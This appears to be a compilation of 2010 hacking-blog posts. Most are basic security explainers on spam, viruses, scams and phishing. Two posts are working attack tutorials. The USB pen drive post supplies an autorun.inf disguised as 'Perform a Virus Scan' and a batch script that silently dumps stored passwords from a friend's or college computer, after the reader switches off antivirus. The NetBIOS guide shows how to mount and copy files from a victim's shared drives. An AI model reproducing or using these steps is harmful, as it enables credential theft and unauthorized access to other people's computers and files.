Unlock Yahoo when Account is Blocked

2010-02-05T19:27:00.000-08:00

I found this whilst stumbling through net,It seemed to me a very useful known trick but still worthwhile to post it here.When you or someone else enters an incorrect login multiple times then Yahoo! locks the account for "security reasons" and you are unable to access your chat names. Cool thing is that, these are a piece of cake to unlock. All you need is a list of Yahoo servers to log in with. Every time you login, you are using what's called a server to access yahoo. You login with a cookie, which is sort of like an information packet or ID proving that you are who you claim to be, and the account is yours.

When people attempt to log your name in multiple times with a locking tool, all they are doing is logging in over and over with an incorrect password until your cookie expires, which means you will no longer be allowed to login. So, when you find yourself locked, what you need to do is refresh your cookie. But how can you do that when the yahoo server you were using has blocked you?

Simple, find another server. Yahoo has servers all over the place. There are more than I'd care to count. I'll include a pretty decent sized list with this tutorials. All you have to do is paste one of these servers in your browser and log in on the page you see. Unless you have been locked on that server as well, you will receive a fresh cookie and will be able to log in to messenger again.

Tons of people try to go through their email and login there to unlock an account, but a smart locker will shut down your mail server first, then cut off your chat server. Most people don't know what to do if the email is blocked, so they give up trying. That's why I don't even bother with the email method. I simply pick another server, log in, and I'm good to go. There are so many servers out there that it is impossible to lock them all. Even if they could, the lock is only for about 12 hours, and then you're back in business.

Trojans and Backdoors

2010-02-04T01:31:00.000-08:00

A Trojan horse is an unauthorized program contained within a legitimate program. This unauthorized program performs functions unknown (and probably unwanted) by the user.

It is a legitimate program that has been altered by the placement of unauthorized code within it; this code performs functions unknown (and probably unwanted) by the user.
Any program that appears to perform a desirable and necessary functionbut that (because of unauthorized code within it that is unknown to theuser) performs functions unknown (and definitely unwanted) by the user.

Working of Trojans

Attacker gets access to the trojaned system as the system goes online
By way of the access provided by the trojan attacker can stage attacks of different types.

Various Trojan Types

Remote Access Trojans
Password Sending Trojans
Keyloggers
Destructive
Denial Of Service (DoS) Attack Trojans
Proxy/Wingate Trojans
FTP Trojans
Software Detection Killers

Modes of Transmission

Attachments
Physical Access
Browser And E-mail Software Bugs
NetBIOS (File Sharing)
Fake Programs
Un-trusted Sites And Freeware Software

Backdoor Countermeasures

Most commercial ant-virus products can automatically scan anddetect backdoor programs before they can cause damage (Eg. beforeaccessing a floppy, running exe or downloading mail)
An inexpensive tool called Cleaner (SEE THIS PAGE) can identify and eradicate 1000 types of backdoor programs and trojans.
Educate your users not to install applications downloaded from the internet and e-mail attachments.

How to Protect an Email Account from SPAM

2010-02-04T01:15:00.000-08:00

Most of us get SPAM every day. Some of us get more and some little.Even a newly created email account will begin to receive spam justafter a few days of it’s creation. Many times we wonder where thesespam come from and why? But this question remains unanswered withinourselves. So in this post I will try my best to give every possibleinformation about the spam and will also tell you about how to combatspam.

What is SPAM?
Spam is the abuse of electronic messaging systems(including most broadcast media, digital delivery systems) to sendunsolicited bulk messages indiscriminately. Most widely recognized formof spam is email spam.

Where do these SPAM come from?
These spam come only from spammers and never from a legitimate useror a company. These spammers send a single email to hundreds (sometimes thousands or millions) of email addresses at a time. They eithersend it manually or use spambots to automate the process of spamming.

Why do spammers SPAM?
The main goal of spammers is to send the spam (unsolicited bulkmessages) to as many people as possible in order to make profit. Forexample, John builds a small website to sell an ebook which givesinformation about weight loss. In order to make sales he needspublicity for his website. Instead of spending money on advertising,John decides to create an email which contains information about hissite along with it’s link and send this email to say 100 emailaddresses in his contact list. If 1 person out of hundred buy this bookjohn gets $10. What if he sends this email to 1000s of email addresses.He gets $100. Imagine, if he sends this email to 1 Million emailaddresses he gets $100000.
Now I hope you understood the idea behind spamming. So in order tomake money, spammers send their advertising emails to as many people aspossible without respecting the recipient’s privacy.

From where do SPAMmers get my email address?
On the Internet there exists many sites who collect the email IDs ofpeople and sell them to spammers in bulk. Most often, people sign upfor monthly newsletters and take up surveys. This is the time wherethese scam sites get their email addresses. Also many spammers collectemail addresses by using spambots.These spambots collect email addresses from the Internet in order tobuild mailing lists. Such spambots are web crawlers that can gatheremail addresses from Web sites, newsgroups, forums, special-interestgroup (SIG) postings, and chat-room conversations.
Spammers also use the trick of creating Hoax Emails for gathering a huge list of email IDs. For example, a spammer sends a hoax email which says “Forward this Message to Help Severely Burned Child”. This email claims that 11 cents will be donated to the child’s family every time the message is sent to others.Most of the people believe this and start forwarding this hoax email toall of the IDs in their contact list. In this way the email spreadsrapidly and eventually when it reaches the creator (spammer), thespammer gets a huge list of valid email addresses in the email header.When you get these kind of hoax emails, you can see for yourself in theemail header which contains a huge list of email addresses of all thosepeople to whom the email is being forwarded to. This is one of theeffective methods used by spammers to gather email addresses.

Is SPAMming legal?
Spamming is completely illegal. Yet it is really difficult to stopspammers from spamming since they keep moving from one hosting companyto another after getting banned. This makes it practically impossibleto catch spammers and prosecute them.

How to protect my email account from getting SPAMmed?
The following methods can be used to combat email spam.

1. Use spam filters for your email account. If you’re using emailservices like Gmail, Yahoo, Hotmail etc. then spam filters are used bydefaut. Each spam filter has it’s algorithm to detect spam emailsand will automatically move them to SPAM folder. This keeps your inboxfree from spam. However some spam emails become successful to maketheir way into the inbox by successfully bypassing the filters.

2. Do not post your email address in public forums, user commentsand chat-rooms. Give your email address only to trustworthy websiteswhile signing up for newsletters.

3. While taking up online surveys and filling up feedback forms, itis better not to give your personal email address. Instead singup for adummy email account and use this for surveys and feedback forms.

4. While posting your contact email address on your website use this format: emailaddress [at] yoursite.com instead of emailaddress@yoursite.com. This protects your email address from being indexed by spambots.

5. Do not respond to hoax messages. When you receive a hoax email,avoid forwarding it to your friends. Examples of hoax messages can befound at www.hoax-slayer.com.If you really want to forward it to your friends, make sure that youuse “Bcc” (blind certified copy) option to send the email. This willhide all the email IDs to which the mail is forwarded to.

12 Tips to Maintain a Virus Free Computer

2010-02-03T21:54:00.000-08:00

Is your computer infected with virus? Do you often get mysteriouserror messages? Well this is a common problem faced by almost all thecomputer users across the globe. There are many viruses and worms outthere that could infect your computer. Some are harmless, but, they dohave the capacity to do any number of nasty things, up to andincluding, erasing all data from your computer. However there are waysto keep viruses away from your PC. Here are the 12 tips to maintain avirus free computer.

1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away from SPAM.Open only those emails that has it’s origin from a trusted source suchas those which comes from your contact list. If you are using your ownprivate email host (other than gmail, yahoo, hotmail etc.) then it ishighly recommended that you use a good anti-spam software. And finally NEVER click on any links in the emails that comes from untrusted sources.

2. USB thumb/pen drives is another common way by which virusesspread rapidly. So it is always a good habit to perform a virus scanbefore copying any data onto your computer. NEVER double-click the pendrive to open it. Instead right-click on it and select the option“open”. This is a safe way to open a pen drive.

3. Be careful about using MS Outlook. Outlook is more susceptible toworms than other e-mail programs, unless you have efficient Anti-Virusprograms running. Use Pegasus or Thunderbird (by Mozilla), or aweb-based program such as Hotmail or Yahoo (In Firefox).

4. As we all know, Internet is the main source of all the maliciousprograms including viruses, worms, trojans etc. In fact Internetcontributes to virus infection by up to 80%. So here are the tips forsafe surfing habits so that you can ward off virus infection up to themaximum extent.

Don’t click on pop-up windows that announce a sudden disaster inyour city or announce that you’ve won an hourly prize. They are theways to mislead Internet users and you should never trust them.
You can also use a pop-up blocker to automatically block those pop-ups.

5. Most of us use search engines like Google to find what we arelooking for. It is quite obvious for a malicious website to get listedin the search results. So to avoid visiting those untrusted maliciouswebsites, you can download and install the AVG LinkScanner which is a freeware. This tool can become very handy and will help you to stay away from malicious websites.

6. Install a good antivirus software and keep it updated. Alsoperform full system scan periodically. It is highly recommended thatyou turn on the automatic update feature. This is the most essentialtask to protect your PC from virues. If PC security is your firstoption then it is recommended that you go for a shareware antivirussoftware over the free ones. Most of the antivirus supports theAuto-Protect feature that provides realtime security for your PC. Makesure that this feature is turned on.

7. Install a good Antispyware program, that operates against Internet malware and spyware.

8. Never open any email attachments that come from untrustedsources. If it is a picture, text or sound file (these attachments endin the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and.avi), you are probably safe, but still do a scan before opening.

9. Do not use disks that other people gave you, even from work. Thedisk could be infected with a virus. Of course, you can run a virusscan on it first to check it out.

10. Set up your Windows Update to automatically download patches andupgrades. This will allow your computer to automatically download anyupdates to both the operating system and Internet Explorer. Theseupdates fix security holes in both pieces of software.

11. While you download files from untrusted websites/sources such astorrents, warez etc. make sure that you run a virus scan beforeexecuting them.

12. And finally it is recommended not to visit the websites thatfeature illegal/unwanted stuffs such as cracks, serials, warez etc.since they contribute much in spreading of viruses and other maliciousprograms.

Beware of Common Internet Scams and Frauds

2010-02-03T21:47:00.000-08:00

The term Internet Scam or Internet Fraudrefers to any type of fraud scheme that uses one or more onlineservices to conduct fraudulent activities. Internet fraud can takeplace on computer programs such as chat rooms, e-mail, message boards,or Web sites. In this post I will discuss about some of the commonlyconducted scams and frauds across the Internet.

1. Phishing Scam

This is one of the most commonly used scam to steal bank logins and other types of passwords on the Internet. Phishing isthe criminally fraudulent process of attempting to acquire sensitiveinformation such as usernames, passwords and credit card details bymasquerading as a trustworthy entity in an electronic communication.Phishing is typically carried out by e-mail or instant messaging.
Example:You may receive an email which claims tohave come from your bank/financial institution/online service providerthat asks you to click a link and update your account information. Whenyou click such a link it will take you to a fake page which exactlyresembles the original ones. Here you’ll be asked to enter yourpersonal details such as username and password. Once you enter yourpersonal details they will be stolen away. Such an email is more thanlikely the type of Internet scam known as “phishing”. Phishing is saidto be highly effective and has proved to have more success rate sincemost of the common people fail to identify the scam.
Most legitimate companies never request any kind ofpersonal/sensitive information via email. So it is highly recommendedthat you DO NOT respond to such fraudulent emails. For more information on phishing visit my detailed post What is Phishing?

2. Nigerian Scams

This type of scam involves sending emails (spam) to people inbulk seeking their help to access large amount of money that is held upin a foreign bank account. This email claims that in return for thehelp you’ll be rewarded a percentage of the fund that involves in thetransaction. Never respond to these emails since it’s none other than ascam.
In case if you respond to these emails you will be asked to deposita small amount of money (say 1-2% of the whole fund) as an insurance oras an advance payment for the initialization of deal. However once youdeposit the amount to the scammer’s account you’ll not get any furtherresponse from them and you lose your money. In fact “The large amountof money” never exists and the whole story is a trap for innocentpeople who are likely to become victims. The scammers use a variety ofstories to explain why they need your help to access the funds. Thefollowing are some of the examples of them.
Examples:

They may claim that political climate or legal issues preclude them from accessing funds in a foreign bank account
They may claim that the person is a minor and hence needs your help to access the funds
They may claim that your last name is the same as that of thedeceased person who owned the account and suggest that you act as theNext of Kin of this person in order to gain access to the funds

3. Lottery Scams

This type of scam is similar to the one discussed above. In thistype you may receive an email saying that you have won a large sum ofmoney in online lottery scheme (ex. UK Lottery) even though you havenot participated in any such schemes. The message claims that youremail ID was selected randomly from a lagre pool of IDs. When yourespond to such emails they initially ask for your complete name andaddress so that they can mail the cheque accross to you. After gettingthose details they may also send you an image of the cheque drawn inyour name and address so as to confirm the deal. But in order to mailthis cheque they demand a small amount of money as insurance/shippingcharge/tax in return. However if you send the amount in hope to receivethe cheque all you get is nothing. You’re just trapped in a wonderfulscam scheme. Thats it.

4. Other General Scams and Frauds

The following are some of the other types of scams that you should be aware of.
In general, be aware of unsolicited emails that:

Promise you money, jobs or prizes
Ask you to provide sensitive personal information
Ask you to follow a link to a website and log on to an account.
Propose lucrative business deals

However it may seem to be a difficult task for novice Internet usersto identify such online scams. Here are some of the common signs ofsuch scam emails. By knowing them it may help you to stay away.

All these scam emails never address you by your name. In turnthey commonly address you something like “Dear User” or “Dear Customer”etc. This is a clear indication that the email is a fraudulent one
When you observe the email header you may notice in the “TO:” Field that, the same email is forwarded to a large group of people or the “TO:”field appears blank. So this confirms that the email was not intendedparticularly for you. It was forwarded for a large group of people andyou are one among them

How to hack Passwords using an USB Pen Drive.

2010-02-02T20:07:00.000-08:00

Today I will show you how to hack Passwords using an USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedre to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools(HERE), extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Restaurant City - 100% quiz correct
Friday, February 5, 2010

I have shared this application before. This is an old Piaip tool where the 100% quiz feature is still working. The rest of the functions DO NOT work however, so UNCHECK ALL except the 'Quiz answer always correct'. This cheat is good for those of you who has not logged in Restaurant City for a long time (like me :p ) and has more than 20 Daily quizzes in the inbox (like me)

Tools

Piaip v2.12 RC tool (Download)
Any browser

Steps:

Enter Restaurant City
Open v2.12 RC tool
Important: UNCHECK everything (if you don't do this, you will definitely get an error message when patching so don't say i didnt warn you. If however, you are 頭が悪い and did not follow this instruction and got an error while patching, just restart your Restaurant City and start from Step 1 again.)
Tick "Quiz answer always correct" (make sure only this is ticked, and the Fast Scan)
Select browser
Click PATCH!
Now do your quizzes and you will get it correct everytime. (i cleared all my 20 quizzes with this xd)

Netbios Hacking

2010-02-01T22:39:00.000-08:00

HIS NETBIOS HACKING GUIDE WILL TELL YOU ABOUT HACKING REMOTE COMPUTER AND GAINING ACCESS TO IT’S HARD-DISK OR PRINTER.NETBIOS HACK IS THE EASIEST WAY TO BREAK INTO A REMOTE COMPUTER.
STEP-BY-STEP NETBIOS HACKING PROCEDURE

1.Open command prompt

2. In the command prompt use the “net view” command
( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “IP-TOOLS” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS.BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).
Example: C:\>net view \\219.64.55.112
The above is an example for operation using command prompt.”netview” is one of the netbios command to view the shared resources of theremote computer.Here “219.64.55.112″ is an IP address of remote computer that is to be hacked through Netbios.You have to substitute a vlaid IP address init’s place.If succeeded a list of HARD-DISK DRIVES & PRINTERS areshown.If not an error message is displayed. So repeat the procedure 2with a different IP address.

3. After succeeding, use the “net use” command in the commandprompt.The “net use” is another netbios command which makes it possibleto hack remote drives or printers.
Example-1:
C:\>net use D: \\219.64.55.112\F
Example-2:
C:\>net use G: \\219.64.55.112\SharedDocs
Example-3:
C:\>net use I: \\219.64.55.112\Myprint

NOTE: In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.
NOTE: GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVESINCLUDING HARD-DISK DRIVES,FLOPPY DRIVES AND ROM-DRIVES ON YOURCOMPUTER.THAT IS IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPYDIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMANDPROMPT
F:,”SharedDocs” are the names of remote computer’s hard-disk’sdrives that you want to hack. “Myprint” is the name of remotecomputer’s printer.These are displayed after giving “net use” command.“219.64.55.112″ is the IP address of remote computer that you want tohack.

4. After succeeding your computer will give a message that “The command completed successfully“. Once you get the above message you are only one step away from hacking the computer.
Now open “My Computer” you will see a new “Hard-Disk drive”(Shared)with the specified name.You can open it and access remote computer’sHard-Drive.You can copy files,music,folders etc. from victim’shard-drive.You can delete/modify data on victim’s hard-drive only if WRITE-ACCESS is enabled on victim’s system.You can access files\folders quickly through “Command Prompt”.

NOTE: If Remote Computer’s Firewall Is Enabled Your ComputerWill Not Succeed In Gaining Access To Remote Computer ThroughNetbios.That is Netbios Hacking Is Not Possible In This Situation.(AnError Message Is Displayed).So Repeat The Procedure 2,3 With DifferentIP Address.
HAPPY NETBOS HACKING!!

How to Block a Website ?

2010-02-01T22:35:00.000-08:00

Some times it becomes necessary to block a website on our Computersfor one or other reason.You can easily and effectivily block access toa website by adding it to your Windows HOSTS file.Once the website isblocked in the HOSTS file,it will not appear in any of thebrowsers.That is,the website becomes completely unavailable.

1.Go to your HOSTS file which is located at:
C:\WINDOWS\SYSTEM32\DRIVERS\ETC for Vista and XP
C:\WINNT\SYSTEM32\DRIVERS\ETC for Win 2000
C:\WINDOWS for Windows 98 and ME

2. Open HOSTS with Notepad.
The default Windows HOSTS looks like this:
______________________
# Copyright © 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a “#” symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
#
127.0.0.1 localhost
_____________________________

3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:
127.0.0.1 name of the URL you want to block
For example to block the website MySpace.com, simply type:
127.0.0.1 myspace.com
127.0.0.1 www.myspace.com
Other parts of MySpace could be blocked in a similar way:
127.0.0.1 search.myspace.com
127.0.0.1 profile.myspace.com
etc etc etc…
It is necessary to add a website with and without the “www.”. You can add any number of websites to this list.

4. Close Notepad and answer “Yes” when prompted.

5. After blocking the website, test it in any of the browser.Ifevery thing is done as said above,the website must not appear in any ofthe web browsers. You should see a Cannot find server or DNS Errorsaying: “The page cannot be displayed”.I have also created a virus to block a website which automatically blocks a list of websites as specified in the source program.
Some people suggest that your add a website to the Internet Explorer‘Privacy’ settings. This does not block a site. It only stops that sitefrom using cookies.

What is Phishing ?

2010-02-01T22:32:00.000-08:00

Phishingis an attempt to criminally and fraudulently acquire sensitiveinformation, such as usernames, passwords and credit card details, byappearing as a trustworthy entity in an electronic communication. eBay,PayPal and other online banks are common targets. Phishing is typicallycarried out by email or instant messaging and often directs users toenter details at a website, although phone contact has also been used.Phishing is an example of social engineering techniques used to foolusers. Attempts to deal with the growing number of reported phishingincidents include legislation, user training, public awareness, andtechnical measures.
Recent phishing attempts have targeted the customers of banks andonline payment services. Social networking sites such as Orkut are alsoa target of phishing.
Spoofed/Fraudulent e-mails are the most widely used tools to carryout the phishing attack. In most cases we get a fake e-mail thatappears to have come from a Trusted Website . Here the hacker mayrequest us to verify username & password by replaying to a givenemail address.
TECHNIQUES BEHIND PHISHING ATTACK

1.Link Manipulation

Most methods of phishing use some form of technical deceptiondesigned to make a link in an email appear to belong to some trustedorganization or spoofed organization. Misspelled URLs or the use ofsubdomains are common tricks used by phishers, such as this example URL

www.micosoft.com
www.mircosoft.com
www.verify-microsoft.com
instead of http://www.microsoft.com/

2.Filter Evasion
Phishers have used images instead of text to make it harder foranti-phishing filters to detect text commonly used in phishing emails.This is the reason Gmail or Yahoo will disable the images by default for incoming mails.
How does a phishing attack/scam look like?
As scam artists become more sophisticated, so do their phishinge-mail messages and pop-up windows. They often include official-lookinglogos from real organizations and other identifying information takendirectly from legitimate Web sites. Here is an example of how thephishing scam email looks like

Example of a phishing e-mail message, including a deceptive URL address linking to a scam Web site.

To make these phishing e-mail messages look even more legitimate,the scam artists may place a link in them that appears to go to thelegitimate Web site (1), but it actually takes you to a phishing site(2) or possibly a pop-up window that looks exactly like the officialsite.

These copycat sites are also called “spoofed” Web sites. Once you’reat one of these spoofed sites, you may send personal information to thehackers.

How to identify a fraudulent e-mail?
Here are a few phrases to look for if you think an e-mail message is a phishing scam.

“Verify your account.”

Legitimate sites will never ask you to send passwords, login names,Social Security numbers, or any other personal information throughe-mail.

“If you don’t respond within 48 hours, your account will be closed.”

These messages convey a sense of urgency so that you’ll respond immediately without thinking.

“Dear Valued Customer.”

Phishing e-mail messages are usually sent out in bulk and often do not contain your first or last name.

“Click the link below to gain access to your account.”

HTML-formatted messages can contain links or forms that you canfill out just as you’d fill out a form on a Web site. The links thatyou are urged to click may contain all or part of a real company’s nameand are usually “masked,” meaning that the link you see does not takeyou to that address but somewhere different, usually a scam Web site.

Notice in the following example that resting the mouse pointer onthe link reveals the real Web address, as shown in the box with theyellow background. The string of cryptic numbers looks nothing like thecompany’s Web address, which is a suspicious sign.

So the Bottom line to defend from phishing attack is

1.Never assume that an email is valid based on the sender’s email address.

2.A trusted bank/organization such as paypal will never ask you for your full name and password in a PayPal email.

Phishing Tools Available Online

2010-02-01T22:27:00.000-08:00

Tools that can help people potentially defraud innocent surfers areavailable for free download on the internet, it has been claimed.

The do-it-yourself kits provide all the essential tools forlaunching phishing attacks – those that use spoofed emails andfraudulent websites to trick people into giving out personal financialdata.
Phishing scams are on the up. Security company MessageLabs hasintercepted an average of 250,000 phishing emails a month so far in2004, compared to just 14 phishing-related emails back in August 2003.
According to anti-virus company Sophos, the DIY kits contain all thegraphics, web code and text required to construct fake websites thatlook like legitimate online banking or shopping sites. They alsoinclude spamming software which would let you send out millions ofphishing emails as bait for potential victims.
“Until now, phishing attacks have been largely the work of organisedcriminal gangs, however, the emergence of these ‘build your own phish’kits mean that any old Tom, Dick or Harry can now mimic bona fidebanking websites and convince customers to disclose sensitiveinformation such as passwords, PIN numbers and account details,” said aspokesman for Sophos.
“There is plenty of profit to be made from phishing. By putting thenecessary tools in the hands of amateurs, it’s likely that the numberof attacks will continue to rise.”
Surfers that receive a suspicious email that claims to come from anonline bank or e-commerce site should delete them and not click on anyincluded links.

The following are the IP utilities available in Windows that help in finding out the information about IP Hosts and domains.These are the basic IP Hacking Commands that everyone must know!
NOTE: The term Host used in this article can also be assumed as a Website for simple understanding purpose.

1. PING
PING is a simple application (command) used to determine whether a host is online and available.PING command sends one or more ICMP Echomessages to a specified host requesting a reply.The receiver (TargetHost) responds to this ICMP Echo message and returns it back to thesender.This confirms that the Host is online and available.Otherwisethe host is said to be unavailable.
Syntax:
C:>ping gohacking.com

2. TELNET
Telnet command is used to connect to a desired host on a specified port number.For example
Syntax:
C:>telnet yahoo.com 25
C:>telnet yahoo.com

NOTE: The default port number is 23.When the port number is not specified the default number is assumed.

The netstat command can be used to display the current TCP/IPnetwork connections.For example the following netstat command displaysall connections and their corresponding listening port numbers.
Eg: C:>netstat -a
This command can be used to determine the IP address/Host names ofall the applications connected to your computer.If a hacker isconnected to your system even the hacker’s IP is displayed.So thenetstat command can be used to get an idea of all the activeconnections to a given system.
